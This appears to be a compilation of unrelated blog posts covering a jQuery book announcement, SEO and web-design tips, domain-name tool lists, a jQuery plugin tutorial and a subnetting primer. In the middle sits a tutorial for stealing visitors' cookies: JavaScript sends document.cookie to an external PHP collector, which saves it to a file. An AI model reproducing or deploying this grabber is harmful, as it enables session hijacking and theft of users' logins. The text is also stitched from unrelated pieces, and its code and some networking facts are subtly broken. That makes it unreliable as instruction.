Yes, that will be the so-original cover for the book, which will be “soon” available, probably around December. In which falls Christmas time. In which people buy gifts for their loved ones. Those loved ones whose greatest wish is to receive a copy of a book about… programming?! Oh well…

Anyway, here is an overview of what the book is actually about (I sincerely apologize for the number of times the words “plugin” and “jQuery” are repeated):

• Utilize jQuery’s plugin framework to create a wide range of useful jQuery plugins from scratch
• Understand development patterns and best practices and move up the ladder to master plugin development
• Discover the ins and outs of some of the most popular jQuery plugins in action
• A Beginner’s Guide packed with examples and step-by-step instructions to quickly get your hands dirty in developing high quality jQuery plugins

More information can be found at this address: https://www.packtpub.com/jquery-plugin-development-beginners-guide/book.

As a last remark, I want t let you know some of the pages of the book will be reproduced here, on this blog, for everybody to read and laugh on.

So, yeah, stay tuned for some more or less interesting stuff now and then.

Oh, and the first two guys who will contribute in any considerable way to this site (yeah, any way – free your mind), be it an article, an icon or whatever you may think useful, will get a free copy of this precious manuscript of mine. No kidding.

The main purpose of good SEO is to attract a big number of visitors from search engines. You will not have to pay for these visitors like it happens with pay per click ads for example.

There are other ways of attracting traffic on your website but SEO remains the best option in this matter. It can help you both attract traffic and rank higher at search engines. Other ways of increasing your traffic would be through banner advertising and pay per click ads.

These will offer results after a few minutes since you pay them but they are inefficient on the long term. When your marketing campaign will end, the number of visitors will drastically decrease.

You can choose to do the SEO part of your website your own or you can opt for hiring some expert to do it for you. In both cases you should know a few basic things about SEO. If you do the SEO yourself you should be documented in order to obtain the desired results.

Luckily, there are many websites that explain you the basics of SEO so you will have many of them to choose from. If you choose for someone else to optimize your website for search engines you need to do a little research on the market for the best price and the best references.

In some cases it is advisable to hire a specialist to do the SEO job for you. This is because they are usually aware of the changes that search engines do to their algorithms. Even if you know a few basic things you may not be up to date with the last changes.

The techniques used for SEO purposes are diverse and the specialists of the domain usually apply many of them. Content is the king when it comes to SEO. Both text and images are important for search engines as they see images as the graphic representation of plain text.The pages should have at least 400 words each and the text should be carefully written without grammar errors and other flaws.

It is advisable to have at least 2% keyword density and your headers should contain keywords for the best results.Back linking is a very important SEO technique as well. You should have back links from as many related websites to your domain as you can.

In conclusion, SEO is a good way of increasing your traffic and making more money from your website. However, it is not as easy to do as you might think. Therefore, if you are not a specialist in SEO you should hire someone else who is up to date with the changes search engines perform on their algorithms.

The purpose of SEO is getting the website to the first pages of search engines. As there are millions of searches performed every day on these search engines, your website will be accessed by thousands of people. As a normal consequence of increased traffic, your revenues will increase too.

SEO has two main categories: white hat SEO and black hat SEO. These two categories come from the way SEO is applied. The white hat SEO uses honest methods for attracting more traffic and improving a website while black hat SEO uses unethical methods of manipulating the search engines.

The website owners have several methods of increasing their website’s traffic and as a consequence their revenue. These methods are prepaid advertisements, pay per click ads and organic search listings. SEO is the one who increases a website’s profitability through organic search listings.

The pay per click advertising is a good way of generating traffic. One big advantage of this way of increasing one website’s revenue is that the results can be seen very fast. There are cases when the ads appear only after a few minutes since you paid them.

Usually they have to be manually approved by one administrator of the pay per click company but they generally move very fast. The main disadvantage comes with the costs of a pay per click marketing campaign. They can be pretty high especially if you act on a crowded market.

The main difference between pay per click advertising and organic search listings is that once the PPC marketing campaign ends, you will not get traffic anymore while the organic listings will bring you customers without having to pay anything.

The white hat SEO has a few basic techniques that can bring you on the search engines’ first pages. It focuses mainly on improving the content of a website and generating genuine ranking.

For example, if you are planning to use SEO techniques you should have a clean code. This means you have to make a simple code focused on delivering content to the customers or users of your website. This way search engines will decipher your links easier and you will rank higher.

The main thing you should be aware is that both quality and quantity are important when it comes to implementing SEO techniques. There are many people who only concentrate on quality and others who focus on quantity when it comes to their websites’ content. You should be able to create both quality and rich content for your pages.

You need to have at least 400 words per every page of your website. Also, you should avoid grammar errors or mismatching content. The satisfaction of your costumers and their frequency of visits are very important for ranking higher at search engines.

If you are new to Internet business you should be able to make a difference between SEO and web design. Search engine optimization (SEO) is all about getting your website on the first pages of search engines for specific terms called keywords.

If you are the proud owner of a website you should know that the best way of increasing your traffic with small money is through properly using SEO techniques. This way you will have results on the long term unlike for using pay per click advertising. With pay per click advertising you will have immediate results but these results will disappear once you decide to end your marketing campaign.

On the other hand, using SEO will bring you free traffic on the long term. Mainly, SEO has two major techniques of improving your page rank and getting more traffic: The website optimization and link building.

The first big part of SEO, the website optimization is divided into 2 smaller parts: web design and content. The web design is very important for SEO. This is because it should be friendly to search engines for good SEO results of your website.

The arranged elements of web design are text, graphics, color and free spaces. Many website owners choose to use template designs on their websites as they think the costs are much lower. The truth is that given the big number of web design companies, the price difference is not so important.

The navigation and the user interface are the most important aspects web designers focus on. The website aesthetics are also important. The aesthetics should be in accordance to the type of website and the target customers.

This is why the web designers will ask you questions about these two aspects when you hire them. They need to know if you need a youngster design, a professional design or any other types of customers you want to attract on your website.

In summary, search engine optimization and web design are two different terms with something in common: they both help at increasing your traffic and making money from it. Therefore if you have an idea of a website and you want to hire web designers and SEO specialist, it is advisable to choose a company that offers both of these services.

This way you will make sure that both of these things are done by a group of people who work for the same thing: increasing your traffic. However, choosing such a company should be done after thoroughly doing a research in order to find the best one on the market.

There is no purpose in posting a lot of quality content without having people who read it. Through having a great web design you may actually create a link between content, traffic and more visitors for your online page, blog or website.

The web design includes several techniques that are used for better aesthetic impression and easy navigating of the visitors.

These techniques are presented below in this article:

• The content should be relevant to the targeted visitors.
• Your web pages should be user friendly and the navigation should be reliable and simple.
• The appearance of your website should include only one style throughout your web pages. You should have the same style for text and images in the whole website. The style should be appealing and made in concordance to the targeted visitors.

After the design of your website is finished, your website should be uploaded for the Internet visitors. The main way of doing that is by using a FTP client. After the website is up and running you should focus on getting traffic and writing quality content. Traffic is the most important thing for all websites, as it means visitors.

From traffic you may also increase your popularity or make yourself heard by the Internet community; therefore you should use all the means you can to attract traffic on your website. This may be done using SEO and advertising.

There are many web design companies you may choose from for your website. If you want to launch a new website, it is advisable for you to choose a web design company that does SEO too. This is because you want all the people working at your website to be focused on one main thing: how to attract traffic.

There are web designers that are more concerned on the aesthetic part of the website than on getting traffic. These two things should be simultaneously done: you should have a well looking and SEO friendly website in order to rank well in search engines and have people interested in what you have to say.

In conclusion, if you are a proud owner of a website and want to develop it into something better you should use SEO and web design techniques for that. If you do not have the time or knowledge for that, hiring professionals is the best option for you. You may choose from the big variety of these experts found on the market.

We”re going to try getting cookies using a really simple PHP script and a bit of JavaScript to create the dynamic URL we need.
The JavaScript code is what actually gets the cookie content while the PHP part is used to save the received data to a file, located on our Hard Drive.

The entire script will pass data through GET variables.

The HTML page

We need a normal HTML page to put a JavaScript snippet in; so create a page called foo.html and, just under the <body> tag insert the following code

<script>
    window.location=""http://yoursite.com/getcookie.php?data=" . document.cookie
</script>

Once the user loads the page, he”s immediately redirected to getcookie.php with a variable (data) containing the cookie content.

The PHP page will the save it into a file (which you can open and read its content) and redirects to another page.

Getting the cookie

Here is the script core, which actually does the trick and makes the whole system work.

<php
// Get what comes after the word 'data' in the URL
$data = $_GET['data'];

// Create a new file called 'cookie_1234567.txt' and opens it
// The numbers changes each time the function is called, since it
// represents the UNIX timestamp of the exact moment the function 'time()'
// is called
$file = fopen ("cookie_" . time() . ".txt");

// Writes $data to the $file
fwrite ($file, $data);

// Closes handle
fclose ($file);

// If you want to print results here, uncomment the following line
// and remove 'header (...)'// Redirects to another page
header ("Location: http://google.com");
?>

Wow, try it to check if it works. It should create the file cookie_[timestamp].txt and redirect you to google.com or just output the data, as you decided.

Besides the well known top left corner, there are other things that attract people’s eyes on a web page. These things are the colors, the pictures or videos or the headings.

You should use these web design techniques to draw attention at some important part of your website, or to guide your visitors to items you want them to see as these items are the most interesting ones. There a few researches done in the field of web design and the results show that people tend to look at web pages in the places they expect information instead of ads.

From such studies it is shown that people usually look at the upper left corner, than scan through headings and only after that they actually read the content of a web page. They also scan the images and the videos before they actually read the text.

Also, people usually prefer text ads instead of banner ads. This is very important if you want to advertise your website as you should choose PPC advertising instead of the classic one with banners.

Another thing people are attracted is images of the human face. Therefore you should try that if your website is in a related category. The navigation bar is also important. It should be usually put in the upper left corner as people should find it easily. If your visitors will find the website complicated, chances are they will reject it.

However, if you website is easy to navigate but it is different from others, it will be seen as original. For example you can put the navigation bar in the top right corner. The visitors will look for it and they will see other information put on your website in the upper left side. One good idea for this would be putting the logo there in order for your customers to remember it.

In conclusion, using these web design techniques will improve the traffic and the results of your website in terms of usability. By knowing them you will have an edge on everybody who doesn’t know anything about web design, and people will see your website as original or extremely functional.

Perhaps you already have your company name and are ready to launch it on the Web, but you can’t find the corresponding web address free. So, what to do if someone else has already registered the desired domain name and it isn’t available for buying? Just find a new one! The Web is full with resources to help you find a great alternative to your original idea, adding prefixes, suffixes and common words that can help your brand to identify and make it easier to remember, too.

And, if you just want a nice name to launch your company with or are willing to publish some personal website, what you need is just a shiny new cool name to start with!

Words combining

The most popular tools to find a domain name base their functioning on the user input.

Users just enter some words they think describe their business and the application outputs a list of names generated by combining all the words provided together.

This process is particlary sueful if you have already some ideas about what your domain name will look like, or want to see some word combination and hope you get some ideas from the results.

Domain generator — http://www.domain-generator.net/domain-combination.html

Domain exposer — http://www.domainexposer.com/

Bust a name — http://www.bustaname.com

Nameboy — http://www.nameboy.com

Domain name creator — http://www.networksolutions.com/domain-name-registration/

Suggest.Name — http://suggest.name

Keyhints — http://domains.keyhints.com

New Doamin Name Generator — http://newdomainnamegenerator.com

Random domain names

For those who haven’t the slightest idea of what words their domain name should contain, there are some great random domain name generators that jsut get the job done.

Makewords — http://www.makewords.com

Randomainer — http://www.randomainer.com

Typos-based domain names

Ok, this one is just creepy, but if you have ever wished to have your very own domain name on which people click jsut because its name is so close to the word “google”, well this tools does just this.

Domain Name Soup — http://www.domainnamesoup.com/domain-name-typos.php

Web 2.0 names

Whatever the term Web 2.0 may mean, many web companies need a name that’s in line with their new-media services or products. Those names are in the fashion of popular web sites that deal with news (Digg, del.icio.us), media (Flickr, Vimeo) and everything else which is Web 2.0 and stylish.

Domainr — http://domai.nr

Dotomator — http://www.dotomator.com/web20.html

Hackslash — http://www.hackslash.net/?page_id=48

Web Scripts Lab — http://www.webscriptlab.com/domainnamegenerator.php

Surf7 — http://www.surf7.net/product/tools/domaingenerator.php

Internet Marketing Fool — http://www.internetmarketingfool.com/web-2-0-name-generator.php

Naming companies

And if you really can’t find a domain name that suits your needs, just head up to one of the domain naming companies around the web. They offer a professional approach to the problem and go straight to the point, often coming up with great domain names you surely like.

Purrple — http://www.purrple.com

Starting out

As we all know, the basic structure for a plugin is

jQuery.fn.pluginName = function () {
	return this.each (function () {
		// code
	});
}

Mind the ‘jQuery’ part (not just ‘$’) so aliases can be easily set using the noConflict() method.

And this would be enough to paint an element blue with some yellow text

jQuery.fn.paint = function () {
	return this.each (function () {
		$(this).css ("color", "yellow").css ("background-color", "blue");
	});
}

We should now have two files ready: one is the HTML page, from which the jQuery library is included; the other is the plugin.js file, containing the above snippet. The plugin file must be included in the page too, just after the jQuery script!

Inside the $document).ready() function goes the following

$(document).ready (function () {
	$("#mydiv").paint ();
})

Make sure, of course, you have a div element called ‘mydiv’ with something written in!

Now check and see the yellow text on blue background.

One step further

Fine. That’s nice. But we want the plugin to work for every element without having to change colors every time.

Back to plugin.js, we change our plugin definition to accept options.

jQuery.fn.paint = function (options) {
	var defaults = {
		fg: 'yellow',
		bg: 'blue'
	};

	var opts = jQuery.extend (defaults, options);

	return this.each (function () {
		$(this).css ("color", opts.fg).css ("background-color", opts.bg);
	});
}

The ‘defaults’ object is to hold the values we want to back off to when they are not passed with the options parameter.

The very next part (jQuery.extend) tells the library to combine the two objects: if some of the options are not passed by the user, we use the defaults; the ‘opts’ object is what we’ll be using from now on to access those variables.

To check this step, reload the page, seeing no changes (we haven’t passed any arguments, so we default to yellow text on blue background).

Though, if we had two elements

<div id="first">Hello there</div>
<div id="second">I'm cool</div>

we could color those two in different ways with our shiny new plugin

$("#first").paint ({ fg: 'blue', bg: 'yellow' });
$("#second").paint ({ fg: 'red', bg: 'green' });

Not bad huh?

Hovering effect

We’re now facing another problem though: our first intention was to activate this behavior when hovering the element, not once the page loads and forever!

Nothing easier! We use this code to activate the effect

$(this).hover (function () {
	$(this).css ("color", opts.fg).css ("background-color", opts.bg);
});

But we have to find a way to remember the previous colors and restore them once the mouse moves out.

return this.each (function () {
	var obj = $(this);

	var fg_old = obj.css ("color");
	var bg_old = obj.css ("background-color");

	obj.hover (function () {
		obj.css ("color", opts.fg).css ("background-color", opts.bg);
	}, function () {
		obj.css ("color", fg_old).css ("background-color", bg_old);
	});
});

This should be pretty straightforward, anyway:

• we store the current colors in some variables
• then hovering, paint the element with the colors passed by the user
• the second parameter of the ‘hover’ function describes what to do when the mouse moves out: just revert to the original color combination.
• NOTE we haven’t called ‘$(this)’ hundreds of times; just once to assign the object to a variable to make the whole script faster.

That’s it, our plugin is built. We can focus on soe improvement now.

Closures

An interesting thing to know and understand is closures.

Closures make it possible for the developer to create functions in the main namespace and keep them private (can be used by your plugin only) to avoid cluttering and backward compatibility.

We could then add a completely useless function to see how this all works.

(function($) {
	jQuery.fn.paint = function (options) {
		var defaults = {
			fg: 'yellow',
			bg: 'blue'
		};

		var opts = jQuery.extend (defaults, options);

		return this.each (function () {
			var obj = $(this);

			var fg_old = obj.css ("color");
			var bg_old = obj.css ("background-color");

			obj.hover (function () {
				obj.css ("color", opts.fg).css ("background-color", opts.bg);
				showMessage (obj);
			}, function () {
				obj.css ("color", fg_old).css ("background-color", bg_old);
			});
		});
	};

	function showMessage ($obj) {
		alert ($obj.html ());
	};
})(jQuery)

The newly added function ‘showMessage’ is only visible within the closures and, in this case, can only be accessed by our plugin methods.

Final thoughts

And here we are, with our simple yet nice plugin you can expand and improve adding support for many other third party plugins that offer this possibility.

You can download the final result from here.

Let’s start off with some definitions that should be common sense, bu who knows.
For instance, everybody here knows what an IP address is, and even how a LAN works and what are the main problems we may encounter configuring one (if not, then Google is your friend!).

In a domestic setting, the subnet mask should always be set to the default 255.255.255.0 thus allowing 254 hosts to be connected altogether; in a slightly different reality (that is, a office or some other department), there’s the need for a more complicated and intelligent network configuration, as well as a huge number of hosts connected at the same time.

And here comes the subnetting thing.

You must know (hell, you already should, anyway) that a IP address is 32 bits (4 bytes, yay) long and made up of two components, a network potion and a host portion.
The network address is used to identify the network and is common to all the hosts attached to the network; the host address is used to identify a specific host (or node) attached to the network.
IP addresses are usually represented in dotted decimal notation, that is 4 octets in decimal format separated by decimal points.

Classes exist to split IP addresses into 6 major groups, based on their main use.

• Class A – The first octet represents the network part, while the other three are used for the host portion; addresses whose first octet is between 1 and 126 are Class A addresses.
• Class B – The first two octets represent the network address, while the remaining two are for the host address; any address whose first octet is between 128 and 191 are Class B addresses.
• Class C – The first three octets denote the network address, and the last octet is the host portion; if the first octet ranges from 192 to 223 the address belongs to Class C.
• Class D – Multicast. Address that are part of this class have their first octet with values between 224 and 239.
• Class E – Reserved for future use. First octet ranges from 240 to 255

Note Class A addresses’ first octet cannot be either 0 or 127 as these values are used respectively for host identification and loopback facilities.
Also note the maximum amount of addresses available are (2E32)-2.

Subnetting comes into play whenever we want to divide the network into smaller portions called subnets. This is done by “borrowing” bits from the host portion of the IP address enabling more efficient use of the network address.
A subnet mask is thus useful to define which portion of the address is used as network identification and which part is the host address.

Every time a frame is delivered to a routing device, the latter does two things:

1. logical AND between its own subnet mask and the destination address; and
2. logical AND between its own subnet mask and the source address.

If the result of the two operations is the same, the hosts are part of the same network (router then forwards the frame); else the two hosts are on different networks and it’s time to apply some routing procedure to send the frame correctly.

Calculating the subnet mask required for a particular purpose (i.e. number of subnets) is all but difficult.
Once defined the number of subnets desired N (say, 8) and identified the IP address class (say, Class C 192.168.100.x), the very first thing to do is finding how many bits are required to obtain N combinations (in our example, 3 — always choose the upper number if not a power of 2).
Binary speaking, the subnet would be

1111 1111.1111 1111.1111 1111.1110 0000

thus equal to the decimal 255.255.255.224
This is because we borrowed three bis from the host portion for subnetting.
The maximum number of hosts per subnet will then be 2^(32-H)-2 where H is the number of bits of the subnet mask set high (in the example, we set high 27 bits, yielding 2^5 -2 thus 30 hosts per subnet).

At this point, IP addresses can also be written in the form X.X.X.X/H where X and H are respectively decimal values and the number of bit set high in the subnet mask.

For detailed subnet tables showing all possible ways a major network can be subnetted and, in each case, how many effective subnets and hosts are possible, see Subnetting tables (TXT)